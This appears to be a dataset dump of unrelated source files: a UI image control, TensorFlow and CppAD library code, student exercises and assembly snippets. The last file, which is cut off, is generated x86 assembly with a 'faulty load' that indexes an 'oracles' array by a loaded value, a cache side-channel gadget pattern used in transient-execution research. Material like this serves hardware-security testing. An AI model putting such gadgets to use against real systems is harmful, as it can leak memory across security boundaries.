text
stringlengths
1
1.05M
// ui #include <core/ui_ctrlmeta.h> #include <core/ui_manager.h> #include <control/ui_image.h> #include <container/pod_hash.h> #include <resource/ui_image_res.h> // ui namespace namespace LongUI { // UIImage类 元信息 LUI_CONTROL_META_INFO(UIImage, "image"); } /// <summary> /// Initializes a new instance of the <see cref="UIImage" /> class. /// </summary> /// <param name="parent">The parent.</param> /// <param name="meta">The meta.</param> LongUI::UIImage::UIImage(UIControl* parent, const MetaControl& meta) noexcept : Super(impl::ctor_lock(parent), meta) { // 构造锁 impl::ctor_unlock(); } /// <summary> /// Finalizes an instance of the <see cref="UIImage"/> class. /// </summary> /// <returns></returns> LongUI::UIImage::~UIImage() noexcept { } /// <summary> /// Does the mouse event. /// </summary> /// <param name="e">The e.</param> /// <returns></returns> //auto LongUI::UIImage::DoMouseEvent(const MouseEventArg & e) noexcept -> EventAccept { // // 左键弹起 修改状态 // switch (e.type) // { // case LongUI::MouseEvent::Event_LButtonUp: // assert(m_pParent); // m_pParent->DoEvent(this, { NoticeEvent::Event_ImageChildClicked }); // [[fallthrough]]; // default: // return Super::DoMouseEvent(e); // } //} /// <summary> /// Adds the attribute. /// </summary> /// <param name="key">The key.</param> /// <param name="value">The value.</param> /// <returns></returns> void LongUI::UIImage::add_attribute(uint32_t key, U8View value) noexcept { // 本控件添加属性 constexpr auto BKDR_SRC = 0x001E57C4_ui32; // 计算HASH switch (key) { case BKDR_SRC: // src : 图像源 this->SetSource(value); break; default: // 其他情况, 交给基类处理 return Super::add_attribute(key, value); } } /// <summary> /// Sets the source. /// </summary> /// <param name="src">The source.</param> void LongUI::UIImage::SetSource(U8View src) noexcept { constexpr auto RESTYPE = ResourceType::Type_Image; const auto id = UIManager.LoadResource(src, /*RESTYPE,*/ true); #ifndef NDEBUG if (!id && src.end() != src.begin()) { LUIDebug(Error) LUI_FRAMEID << "Resource [not found][create failed]: " << src << endl; } #endif // 重置数据 if (id != m_idSrc.GetId()) { m_idSrc.SetId(id); m_idFrame = 0; m_uFrameCount = 1; if (id) { auto& res = m_idSrc.RefResource(); auto& img = static_cast<CUIImage&>(res); m_uFrameCount = img.frame_count; if (m_uFrameCount > 1) this->SetTimer(img.delay, 0); } this->mark_window_minsize_changed(); this->NeedUpdate(); this->Invalidate(); } } /// <summary> /// Recreates this instance. /// </summary> /// <returns></returns> //auto LongUI::UIImage::Recreate() noexcept->Result { // // 获取Image对象 // if (m_idSrc.GetId()) { // } // // 基类处理 // return Super::Recreate(); //} /// <summary> /// Does the event. /// </summary> /// <param name="e">The e.</param> /// <returns></returns> auto LongUI::UIImage::DoEvent(UIControl* sender, const EventArg& e) noexcept -> EventAccept { switch (e.nevent) { Size2F minsize_set; case LongUI::NoticeEvent::Event_RefreshBoxMinSize: // IMAGE最小尺寸就是图片大小 minsize_set = { 0.f }; if (m_idSrc.GetId()) { auto& res = m_idSrc.RefResource(); auto& img = static_cast<CUIImage&>(res); assert(res.RefData().GetType() == ResourceType::Type_Image); minsize_set.width = static_cast<float>(img.size.width); minsize_set.height = static_cast<float>(img.size.height); } this->set_contect_minsize(minsize_set); return Event_Accept; case LongUI::NoticeEvent::Event_Timer0: // TIMER#0 作为帧动画使用 m_idFrame = (m_idFrame + 1) % m_uFrameCount; this->Invalidate(); return Event_Accept; } return Super::DoEvent(sender, e); } /// <summary> /// Renders this instance. /// </summary> /// <returns></returns> void LongUI::UIImage::Render() const noexcept { // 渲染背景 Super::Render(); // 图像有效 if (m_idSrc.GetId()) { // 将目标画在内容区 auto des_rect = this->GetBox().GetContentEdge(); // 居中显示 #ifdef LUI_IMAGE_ASICON_SUPPORT if (m_bAsIcon) { const auto usize = m_pSharedSrc->GetSize(); const auto src_w = static_cast<float>(usize.width); const auto src_h = static_cast<float>(usize.height); const auto des_w = des_rect.right - des_rect.left; const auto des_h = des_rect.bottom - des_rect.top; const auto target_h = des_w / src_w * src_h; // [target_w, des_h] if (target_h > des_h) { const auto target_w = des_h / src_h * src_w; const auto half = (des_w - target_w) * 0.5f; des_rect.left += half; des_rect.right -= half; } // [des_w, target_h] else { const auto half = (des_h - target_h) * 0.5f; des_rect.top += half; des_rect.bottom -= half; } } #endif auto& res = m_idSrc.RefResource(); auto& img = static_cast<const CUIImage&>(res); assert(res.RefData().GetType() == ResourceType::Type_Image); img.Render(m_idFrame, UIManager.Ref2DRenderer(), &des_rect); } }
; A320577: Number of isosceles triangles whose vertices are the vertices of a regular n-gon. ; 1,4,10,8,21,24,30,40,55,52,78,84,95,112,136,132,171,180,196,220,253,248,300,312,333,364,406,400,465,480,506,544,595,588,666,684,715,760,820,812,903,924,960,1012,1081,1072,1176,1200,1241,1300,1378,1368,1485,1512,1558,1624,1711,1700,1830,1860,1911,1984,2080,2068,2211,2244,2300,2380,2485,2472,2628,2664,2725,2812,2926,2912,3081,3120,3186,3280,3403,3388,3570,3612,3683,3784,3916,3900,4095,4140,4216,4324,4465,4448,4656,4704,4785,4900,5050,5032,5253,5304,5390,5512,5671,5652,5886,5940,6031,6160,6328,6308,6555,6612,6708,6844,7021,7000,7260,7320,7421,7564,7750,7728,8001,8064,8170,8320,8515,8492,8778,8844,8955,9112,9316,9292,9591,9660,9776,9940,10153,10128,10440,10512,10633,10804,11026,11000,11325,11400,11526,11704,11935,11908,12246,12324,12455,12640,12880,12852,13203,13284,13420,13612,13861,13832,14196,14280,14421,14620,14878,14848,15225,15312,15458,15664,15931,15900,16290,16380,16531,16744,17020,16988,17391,17484,17640,17860,18145,18112,18528,18624,18785,19012,19306,19272,19701,19800,19966,20200,20503,20468,20910,21012,21183,21424,21736,21700,22155,22260,22436,22684,23005,22968,23436,23544,23725,23980,24310,24272,24753,24864,25050,25312,25651,25612,26106,26220,26411,26680,27028,26988,27495,27612,27808,28084,28441,28400,28920,29040,29241,29524,29890,29848,30381,30504,30710,31000,31375,31332 mov $1,$0 cal $0,321773 ; Number of compositions of n into parts with distinct multiplicities and with exactly three parts. add $1,3 mul $1,$0 mul $1,2 sub $1,6 div $1,6 add $1,1
/****************************************************************** * Section 13 Challenge * Movie.cpp * * Models a Movie with the following atttributes * * std::string name - the name of the movie * std::string rating - G, PG, PG-13, R * int watched - the number of times you've watched the movie * ***************************************************************/ #include <iostream> #include "Movie.h" // Implemention of the construcor Movie::Movie(std::string name, std::string rating, int watched) : name(name), rating(rating), watched(watched) { } //Implemention of the copy constructor Movie::Movie(const Movie &source) : Movie{source.name, source.rating, source.watched} { } // Implementation of the destructor Movie::~Movie() { } // Implementation of the display method // should just insert the movie attributes to cout void Movie::display() const { std::cout << name << ", " << rating << ", " << watched << std::endl; }
SECTION code_clib SECTION code_nirvanam PUBLIC asm_NIRVANAM_stop EXTERN _NIRVANAM_ISR_STOP asm_NIRVANAM_stop: ld hl,_NIRVANAM_ISR_STOP ld ($fdfe),hl ret
;;;;;;;;;;;;;;;;;;;;;;;; ; Author: Noah Howard ; ; Assignemnt 8 COS 235 ; ;;;;;;;;;;;;;;;;;;;;;;;; ; This code was a port of the following C function, in assembly: ; main() { ; int I, J, B[10] ; ; ; for(I = 0 ; I < 10 ; I++) { ; J = I + 1; ; if ((I % 2) == 0) ; B[I] = J ; ; else ; B[I] = 1 ; ; printf(“B Value is %d\n”, B[I]) ; ; } ; } ; To compile and run this program, execute: ; nasm -felf32 assignment2.asm && ld -melf_i386 -dynamic-linker /lib/ld-linux.so.2 assignment2.o -lc && ./a.out extern printf ; Import C printf function section .data message db "B value is %d", 10, 0 ; Statement to print segment .bss b resd 10 ; Init variables i resd 1 j resd 1 section .text global _start ; Start function _start: mov dword[i], 0 ; Set variables to 0 mov dword[j], 0 jz runFor ; Run for loop runFor: cmp dword[i], 10 ; Check if i < 10 jge forDone mov eax, dword[i] ; Set eax register to i add eax, 1 ; Calculate j mov dword[j], eax ; Set j mov eax, dword[i] ; Set eax to i mov edx, 0 mov ecx, 2 div ecx ; Compute modulus cmp edx, 0 ; if((i % 2) == 0) je moduloTrue ; Set value of b[i] to j mov eax, 1 ; Set value of b[i] to 1 mov [b + ebx * 4], eax jmp afterModulo ; Jump to final piece of program moduloTrue: mov eax, dword[j] ; Set b[i] to j mov ebx, dword[i] mov [b + ebx * 4], eax jz afterModulo ; Run final piece of program afterModulo: mov ebx, dword[i] mov eax, [b + ebx * 4] push eax ; Print value of b[i] push message call printf add ebx, 1 ; Increment i mov dword[i], ebx jmp runFor ; Run again! forDone: mov ebx, 0 ; Cleanly terminate program mov eax, 1 int 0x80
/* Copyright 2017 The TensorFlow Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ==============================================================================*/ #include "tensorflow/core/kernels/data/batch_dataset_op.h" #include <utility> #include "tensorflow/core/framework/op_kernel.h" #include "tensorflow/core/framework/partial_tensor_shape.h" #include "tensorflow/core/framework/tensor.h" #include "tensorflow/core/kernels/data/name_utils.h" #include "tensorflow/core/lib/core/blocking_counter.h" #include "tensorflow/core/lib/gtl/cleanup.h" #include "tensorflow/core/platform/macros.h" #include "tensorflow/core/platform/stringprintf.h" #include "tensorflow/core/util/batch_util.h" namespace tensorflow { namespace data { // See documentation in ../../ops/dataset_ops.cc for a high-level // description of the following op. /* static */ constexpr const char* const BatchDatasetOp::kDatasetType; /* static */ constexpr const char* const BatchDatasetOp::kInputDataset; /* static */ constexpr const char* const BatchDatasetOp::kBatchSize; /* static */ constexpr const char* const BatchDatasetOp::kDropRemainder; /* static */ constexpr const char* const BatchDatasetOp::kParallelCopy; /* static */ constexpr const char* const BatchDatasetOp::kOutputTypes; /* static */ constexpr const char* const BatchDatasetOp::kOutputShapes; constexpr char kInputImplEmpty[] = "input_impl_empty"; constexpr char kBatchDataset[] = "BatchDataset"; class BatchDatasetOp::Dataset : public DatasetBase { public: Dataset(OpKernelContext* ctx, int64 batch_size, bool drop_remainder, bool parallel_copy, const DatasetBase* input, int op_version) : DatasetBase(DatasetContext(ctx)), batch_size_(batch_size), drop_remainder_(drop_remainder), parallel_copy_(parallel_copy), input_(input), op_version_(op_version), traceme_metadata_( {{"batch_size", strings::Printf("%lld", batch_size)}, {"drop_remainder", drop_remainder ? "true" : "false"}, {"parallel_copy", parallel_copy ? "true" : "false"}}) { input_->Ref(); // NOTE(mrry): Currently we implement "batch up to" semantics. If // we could tell statically that the input dataset is infinite, // then we could always report `batch_size` as the 0th dimension. const auto& input_shapes = input_->output_shapes(); output_shapes_.reserve(input_shapes.size()); for (const auto& input_shape : input_shapes) { if (drop_remainder_) { output_shapes_.emplace_back( PartialTensorShape({batch_size_}).Concatenate(input_shape)); } else { output_shapes_.emplace_back( PartialTensorShape({-1}).Concatenate(input_shape)); } } } ~Dataset() override { input_->Unref(); } std::unique_ptr<IteratorBase> MakeIteratorInternal( const string& prefix) const override { name_utils::IteratorPrefixParams params; params.op_version = op_version_; return absl::make_unique<Iterator>(Iterator::Params{ this, name_utils::IteratorPrefix(kDatasetType, prefix, params)}); } const DataTypeVector& output_dtypes() const override { return input_->output_dtypes(); } const std::vector<PartialTensorShape>& output_shapes() const override { return output_shapes_; } string DebugString() const override { name_utils::DatasetDebugStringParams params; params.op_version = op_version_; params.set_args(batch_size_); return name_utils::DatasetDebugString(kDatasetType, params); } int64 Cardinality() const override { int64 n = input_->Cardinality(); if (n == kInfiniteCardinality || n == kUnknownCardinality) { return n; } return n / batch_size_ + (n % batch_size_ == 0 || drop_remainder_ ? 0 : 1); } Status CheckExternalState() const override { return input_->CheckExternalState(); } protected: Status AsGraphDefInternal(SerializationContext* ctx, DatasetGraphDefBuilder* b, Node** output) const override { Node* input_graph_node = nullptr; TF_RETURN_IF_ERROR(b->AddInputDataset(ctx, input_, &input_graph_node)); Node* batch_size = nullptr; TF_RETURN_IF_ERROR(b->AddScalar(batch_size_, &batch_size)); Node* drop_remainder = nullptr; TF_RETURN_IF_ERROR(b->AddScalar(drop_remainder_, &drop_remainder)); AttrValue parallel_copy; b->BuildAttrValue(parallel_copy_, &parallel_copy); TF_RETURN_IF_ERROR( b->AddDataset(this, {input_graph_node, batch_size, drop_remainder}, {{kParallelCopy, parallel_copy}}, output)); return Status::OK(); } private: class Iterator : public DatasetIterator<Dataset> { public: explicit Iterator(const Params& params) : DatasetIterator<Dataset>(params) {} Status Initialize(IteratorContext* ctx) override { return dataset()->input_->MakeIterator(ctx, this, prefix(), &input_impl_); } Status GetNextInternal(IteratorContext* ctx, std::vector<Tensor>* out_tensors, bool* end_of_sequence) override { // Each row of `batch_elements` is a tuple of tensors from the // input iterator. std::vector<std::vector<Tensor>> batch_elements; { mutex_lock l(mu_); if (!input_impl_) { *end_of_sequence = true; return Status::OK(); } batch_elements.reserve(dataset()->batch_size_); *end_of_sequence = false; for (int i = 0; i < dataset()->batch_size_ && !*end_of_sequence; ++i) { std::vector<Tensor> batch_element_tuple; TF_RETURN_IF_ERROR( input_impl_->GetNext(ctx, &batch_element_tuple, end_of_sequence)); if (!*end_of_sequence) { batch_elements.emplace_back(std::move(batch_element_tuple)); } else { input_impl_.reset(); } } } if (batch_elements.empty()) { DCHECK(*end_of_sequence); return Status::OK(); } if (dataset()->drop_remainder_ && batch_elements.size() < dataset()->batch_size_) { *end_of_sequence = true; return Status::OK(); } // Copy the retrieved batch elements into one output tensor per tuple // component. // // NOTE(mrry): If the input or output sizes are statically known, we // could potentially read the input values in-place into their // respective slice locations. This would require a different GetNext() // overload that supports zero-copy, and might make sense in an // optimization pass. const size_t num_tuple_components = batch_elements[0].size(); out_tensors->reserve(num_tuple_components); const int64 num_batch_elements = batch_elements.size(); for (size_t component_index = 0; component_index < num_tuple_components; ++component_index) { const Tensor& first_element = batch_elements[0][component_index]; TensorShape batch_component_shape({num_batch_elements}); // NOTE(mrry): Copy the shape of the first element here, because // `first_element.shape()` will become undefined after the 0th batch // element is moved into the output batch. TensorShape first_element_shape(first_element.shape()); batch_component_shape.AppendShape(first_element_shape); out_tensors->emplace_back(ctx->allocator({}), first_element.dtype(), batch_component_shape); if (!out_tensors->back().IsInitialized()) { return errors::ResourceExhausted( "Failed to allocate memory for the batch of component ", component_index); } Tensor& batch_component = out_tensors->back(); // Build the output tuple component by copying one slice // from each input element in the batch. auto copy_element_fn = [component_index, &batch_elements, &batch_component](int index) { TF_RETURN_IF_ERROR(batch_util::CopyElementToSlice( std::move(batch_elements[index][component_index]), &batch_component, index)); return Status::OK(); }; BlockingCounter counter(num_batch_elements); Status status; mutex status_mu; for (size_t i = 0; i < num_batch_elements; ++i) { if (batch_elements[i][component_index].shape() != first_element_shape) { return errors::InvalidArgument( "Cannot batch tensors with different shapes in " "component ", component_index, ". First element had shape ", first_element_shape.DebugString(), " and element ", i, " had shape ", batch_elements[i][component_index].shape().DebugString(), "."); } if (TF_PREDICT_FALSE(dataset()->parallel_copy_)) { (*ctx->runner())( [i, &status, &status_mu, &counter, &copy_element_fn]() { Status s = copy_element_fn(i); { mutex_lock l(status_mu); status.Update(s); } counter.DecrementCount(); }); } else { status.Update(copy_element_fn(i)); counter.DecrementCount(); } } counter.Wait(); TF_RETURN_IF_ERROR(status); } *end_of_sequence = false; return Status::OK(); } protected: std::shared_ptr<model::Node> CreateNode( IteratorContext* ctx, model::Node::Args args) const override { return model::MakeKnownRatioNode(std::move(args), dataset()->batch_size_); } Status SaveInternal(IteratorStateWriter* writer) override { mutex_lock l(mu_); if (!input_impl_) { TF_RETURN_IF_ERROR(writer->WriteScalar(full_name(kInputImplEmpty), "")); } else { TF_RETURN_IF_ERROR(SaveInput(writer, input_impl_)); } return Status::OK(); } Status RestoreInternal(IteratorContext* ctx, IteratorStateReader* reader) override { mutex_lock l(mu_); if (!reader->Contains(full_name(kInputImplEmpty))) { TF_RETURN_IF_ERROR(RestoreInput(ctx, reader, input_impl_)); } else { input_impl_.reset(); } return Status::OK(); } TraceMeMetadata GetTraceMeMetadata() const override { return dataset()->traceme_metadata_; } private: mutex mu_; std::unique_ptr<IteratorBase> input_impl_ GUARDED_BY(mu_); }; const int64 batch_size_; const bool drop_remainder_; const bool parallel_copy_; const DatasetBase* const input_; const int op_version_; std::vector<PartialTensorShape> output_shapes_; const TraceMeMetadata traceme_metadata_; }; BatchDatasetOp::BatchDatasetOp(OpKernelConstruction* ctx) : UnaryDatasetOpKernel(ctx), op_version_(ctx->def().op() == kBatchDataset ? 1 : 2) { if (ctx->HasAttr(kParallelCopy)) { OP_REQUIRES_OK(ctx, ctx->GetAttr(kParallelCopy, &parallel_copy_)); } } void BatchDatasetOp::MakeDataset(OpKernelContext* ctx, DatasetBase* input, DatasetBase** output) { int64 batch_size = 0; OP_REQUIRES_OK(ctx, ParseScalarArgument<int64>(ctx, kBatchSize, &batch_size)); OP_REQUIRES(ctx, batch_size > 0, errors::InvalidArgument("Batch size must be greater than zero.")); bool drop_remainder = false; if (op_version_ > 1) { OP_REQUIRES_OK( ctx, ParseScalarArgument<bool>(ctx, kDropRemainder, &drop_remainder)); } *output = new Dataset(ctx, batch_size, drop_remainder, parallel_copy_, input, op_version_); } namespace { REGISTER_KERNEL_BUILDER(Name("BatchDataset").Device(DEVICE_CPU), BatchDatasetOp); REGISTER_KERNEL_BUILDER(Name("BatchDatasetV2").Device(DEVICE_CPU), BatchDatasetOp); } // namespace } // namespace data } // namespace tensorflow
# ifndef CPPAD_CORE_DEPENDENT_HPP # define CPPAD_CORE_DEPENDENT_HPP /* -------------------------------------------------------------------------- CppAD: C++ Algorithmic Differentiation: Copyright (C) 2003-17 Bradley M. Bell CppAD is distributed under multiple licenses. This distribution is under the terms of the GNU General Public License Version 3. A copy of this license is included in the COPYING file of this distribution. Please visit http://www.coin-or.org/CppAD/ for information on other licenses. -------------------------------------------------------------------------- */ /* $begin Dependent$$ $spell alloc num taylor_ ADvector const $$ $spell $$ $section Stop Recording and Store Operation Sequence$$ $mindex ADFun tape Dependent$$ $head Syntax$$ $icode%f%.Dependent(%x%, %y%)%$$ $head Purpose$$ Stop recording and the AD of $icode Base$$ $cref/operation sequence/glossary/Operation/Sequence/$$ that started with the call $codei% Independent(%x%) %$$ and store the operation sequence in $icode f$$. The operation sequence defines an $cref/AD function/glossary/AD Function/$$ $latex \[ F : B^n \rightarrow B^m \] $$ where $latex B$$ is the space corresponding to objects of type $icode Base$$. The value $latex n$$ is the dimension of the $cref/domain/seq_property/Domain/$$ space for the operation sequence. The value $latex m$$ is the dimension of the $cref/range/seq_property/Range/$$ space for the operation sequence (which is determined by the size of $icode y$$). $head f$$ The object $icode f$$ has prototype $codei% ADFun<%Base%> %f% %$$ The AD of $icode Base$$ operation sequence is stored in $icode f$$; i.e., it becomes the operation sequence corresponding to $icode f$$. If a previous operation sequence was stored in $icode f$$, it is deleted. $head x$$ The argument $icode x$$ must be the vector argument in a previous call to $cref Independent$$. Neither its size, or any of its values, are allowed to change between calling $codei% Independent(%x%) %$$ and $codei% %f%.Dependent(%x%, %y%) %$$. $head y$$ The vector $icode y$$ has prototype $codei% const %ADvector% &%y% %$$ (see $cref/ADvector/FunConstruct/$$ below). The length of $icode y$$ must be greater than zero and is the dimension of the range space for $icode f$$. $head ADvector$$ The type $icode ADvector$$ must be a $cref SimpleVector$$ class with $cref/elements of type/SimpleVector/Elements of Specified Type/$$ $codei%AD<%Base%>%$$. The routine $cref CheckSimpleVector$$ will generate an error message if this is not the case. $head Taping$$ The tape, that was created when $codei%Independent(%x%)%$$ was called, will stop recording. The AD operation sequence will be transferred from the tape to the object $icode f$$ and the tape will then be deleted. $head Forward$$ No $cref Forward$$ calculation is preformed during this operation. Thus, directly after this operation, $codei% %f%.size_order() %$$ is zero (see $cref size_order$$). $head Parallel Mode$$ The call to $code Independent$$, and the corresponding call to $codei% ADFun<%Base%> %f%( %x%, %y%) %$$ or $codei% %f%.Dependent( %x%, %y%) %$$ or $cref abort_recording$$, must be preformed by the same thread; i.e., $cref/thread_alloc::thread_num/ta_thread_num/$$ must be the same. $head Example$$ The file $cref fun_check.cpp$$ contains an example and test of this operation. It returns true if it succeeds and false otherwise. $end ---------------------------------------------------------------------------- */ // BEGIN CppAD namespace namespace CppAD { /*! \file dependent.hpp Different versions of Dependent function. */ /*! Determine the \c tape corresponding to this exeuction thread and then use <code>Dependent(tape, y)</code> to store this tapes recording in a function. \param y [in] The dependent variable vector for the corresponding function. */ template <typename Base> template <typename ADvector> void ADFun<Base>::Dependent(const ADvector &y) { local::ADTape<Base>* tape = AD<Base>::tape_ptr(); CPPAD_ASSERT_KNOWN( tape != CPPAD_NULL, "Can't store current operation sequence in this ADFun object" "\nbecause there is no active tape (for this thread)." ); // code above just determines the tape and checks for errors Dependent(tape, y); } /*! Determine the \c tape corresponding to this exeuction thread and then use <code>Dependent(tape, y)</code> to store this tapes recording in a function. \param x [in] The independent variable vector for this tape. This informaiton is also stored in the tape so a check is done to make sure it is correct (if NDEBUG is not defined). \param y [in] The dependent variable vector for the corresponding function. */ template <typename Base> template <typename ADvector> void ADFun<Base>::Dependent(const ADvector &x, const ADvector &y) { CPPAD_ASSERT_KNOWN( x.size() > 0, "Dependent: independent variable vector has size zero." ); CPPAD_ASSERT_KNOWN( Variable(x[0]), "Dependent: independent variable vector has been changed." ); local::ADTape<Base> *tape = AD<Base>::tape_ptr(x[0].tape_id_); CPPAD_ASSERT_KNOWN( tape->size_independent_ == size_t( x.size() ), "Dependent: independent variable vector has been changed." ); # ifndef NDEBUG size_t i, j; for(j = 0; j < size_t(x.size()); j++) { CPPAD_ASSERT_KNOWN( size_t(x[j].taddr_) == (j+1), "ADFun<Base>: independent variable vector has been changed." ); CPPAD_ASSERT_KNOWN( x[j].tape_id_ == x[0].tape_id_, "ADFun<Base>: independent variable vector has been changed." ); } for(i = 0; i < size_t(y.size()); i++) { CPPAD_ASSERT_KNOWN( CppAD::Parameter( y[i] ) | (y[i].tape_id_ == x[0].tape_id_) , "ADFun<Base>: dependent vector contains a variable for" "\na different tape (thread) than the independent variables." ); } # endif // code above just determines the tape and checks for errors Dependent(tape, y); } /*! Replace the floationg point operations sequence for this function object. \param tape is a tape that contains the new floating point operation sequence for this function. After this operation, all memory allocated for this tape is deleted. \param y The dependent variable vector for the function being stored in this object. \par All of the private member data in ad_fun.hpp is set to correspond to the new tape except for check_for_nan_. */ template <typename Base> template <typename ADvector> void ADFun<Base>::Dependent(local::ADTape<Base> *tape, const ADvector &y) { size_t m = y.size(); size_t n = tape->size_independent_; size_t i, j; size_t y_taddr; // check ADvector is Simple Vector class with AD<Base> elements CheckSimpleVector< AD<Base>, ADvector>(); CPPAD_ASSERT_KNOWN( y.size() > 0, "ADFun operation sequence dependent variable size is zero size" ); // --------------------------------------------------------------------- // Begin setting ad_fun.hpp private member data // --------------------------------------------------------------------- // dep_parameter_, dep_taddr_ CPPAD_ASSERT_UNKNOWN( local::NumRes(local::ParOp) == 1 ); dep_parameter_.resize(m); dep_taddr_.resize(m); for(i = 0; i < m; i++) { dep_parameter_[i] = CppAD::Parameter(y[i]); if( dep_parameter_[i] ) { // make a tape copy of dependent variables that are parameters, y_taddr = tape->RecordParOp( y[i].value_ ); } else y_taddr = y[i].taddr_; CPPAD_ASSERT_UNKNOWN( y_taddr > 0 ); dep_taddr_[i] = y_taddr; } // put an EndOp at the end of the tape tape->Rec_.PutOp(local::EndOp); // some size_t values in ad_fun.hpp has_been_optimized_ = false; compare_change_count_ = 1; compare_change_number_ = 0; compare_change_op_index_ = 0; num_order_taylor_ = 0; num_direction_taylor_ = 0; cap_order_taylor_ = 0; // num_var_tape_ // Now that all the variables are in the tape, we can set this value. num_var_tape_ = tape->Rec_.num_var_rec(); // taylor_ taylor_.resize(0); // cskip_op_ cskip_op_.resize( tape->Rec_.num_op_rec() ); // load_op_ load_op_.resize( tape->Rec_.num_load_op_rec() ); // play_ // Now that each dependent variable has a place in the tape, // and there is a EndOp at the end of the tape, we can transfer the // recording to the player and and erase the recording; i.e. ERASE Rec_. play_.get(tape->Rec_, n); // ind_taddr_ // Note that play_ has been set, we can use it to check operators ind_taddr_.resize(n); CPPAD_ASSERT_UNKNOWN( n < num_var_tape_); for(j = 0; j < n; j++) { CPPAD_ASSERT_UNKNOWN( play_.GetOp(j+1) == local::InvOp ); ind_taddr_[j] = j+1; } // for_jac_sparse_pack_, for_jac_sparse_set_ for_jac_sparse_pack_.resize(0, 0); for_jac_sparse_set_.resize(0,0); // resize subgraph_info_ subgraph_info_.resize( ind_taddr_.size(), // n_dep dep_taddr_.size(), // n_ind play_.num_op_rec(), // n_op play_.num_var_rec() // n_var ); // --------------------------------------------------------------------- // End set ad_fun.hpp private member data // --------------------------------------------------------------------- // now we can delete the tape AD<Base>::tape_manage(tape_manage_delete); // total number of varables in this recording CPPAD_ASSERT_UNKNOWN( num_var_tape_ == play_.num_var_rec() ); // used to determine if there is an operation sequence in *this CPPAD_ASSERT_UNKNOWN( num_var_tape_ > 0 ); } } // END CppAD namespace # endif
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r15 push %rax push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0x861a, %rdx nop nop nop sub %r15, %r15 movups (%rdx), %xmm5 vpextrq $1, %xmm5, %r12 nop nop xor $16175, %rax lea addresses_WT_ht+0xc37a, %rdi nop nop sub $27241, %rax mov $0x6162636465666768, %r10 movq %r10, %xmm0 vmovups %ymm0, (%rdi) nop nop nop nop nop dec %rax lea addresses_D_ht+0x7820, %rax nop nop inc %rbx mov (%rax), %r10d nop nop nop nop nop dec %rdi lea addresses_normal_ht+0x68ba, %rax nop nop inc %rdx mov $0x6162636465666768, %r15 movq %r15, %xmm0 movups %xmm0, (%rax) add $190, %rdx lea addresses_WT_ht+0x1bb20, %rdi nop nop sub $27583, %rdx mov $0x6162636465666768, %rbx movq %rbx, %xmm0 movups %xmm0, (%rdi) nop nop nop nop nop and $45934, %rdi lea addresses_UC_ht+0x1a67a, %rdx nop nop dec %rax movb $0x61, (%rdx) nop nop nop nop add %rdx, %rdx lea addresses_WC_ht+0xa8a4, %r15 nop nop inc %rax movb $0x61, (%r15) nop nop dec %rdx lea addresses_WC_ht+0x1b7fa, %rsi lea addresses_normal_ht+0x11ffa, %rdi clflush (%rdi) nop add %r10, %r10 mov $110, %rcx rep movsl nop nop inc %r15 lea addresses_WT_ht+0x1bac6, %rax nop dec %r15 movw $0x6162, (%rax) nop add $43057, %rcx lea addresses_A_ht+0x1937a, %rbx nop nop nop nop nop sub $4061, %rcx mov (%rbx), %r15d sub $36755, %r15 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rax pop %r15 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %rax push %rbp push %rbx push %rcx push %rdi // Store lea addresses_PSE+0x1737a, %rbp nop nop nop nop nop cmp %r11, %r11 movb $0x51, (%rbp) nop nop nop nop sub %rbp, %rbp // Store lea addresses_normal+0x1bb7a, %rbx nop nop and $51790, %r12 mov $0x5152535455565758, %r11 movq %r11, (%rbx) nop and %rcx, %rcx // Store lea addresses_PSE+0x1f692, %rcx nop nop nop nop nop cmp %rax, %rax movl $0x51525354, (%rcx) nop cmp %rbp, %rbp // Store mov $0xefa, %rbp clflush (%rbp) nop nop nop nop cmp $29494, %r11 movb $0x51, (%rbp) nop nop nop nop nop cmp $42193, %rax // Faulty Load lea addresses_PSE+0x1737a, %rcx nop nop nop nop sub %rax, %rax mov (%rcx), %ebx lea oracles, %rbp and $0xff, %rbx shlq $12, %rbx mov (%rbp,%rbx,1), %rbx pop %rdi pop %rcx pop %rbx pop %rbp pop %rax pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 11}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 3}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_P', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 7}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 4}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 11}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 6}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 1}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 8}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 1}} {'OP': 'REPM', 'src': {'same': 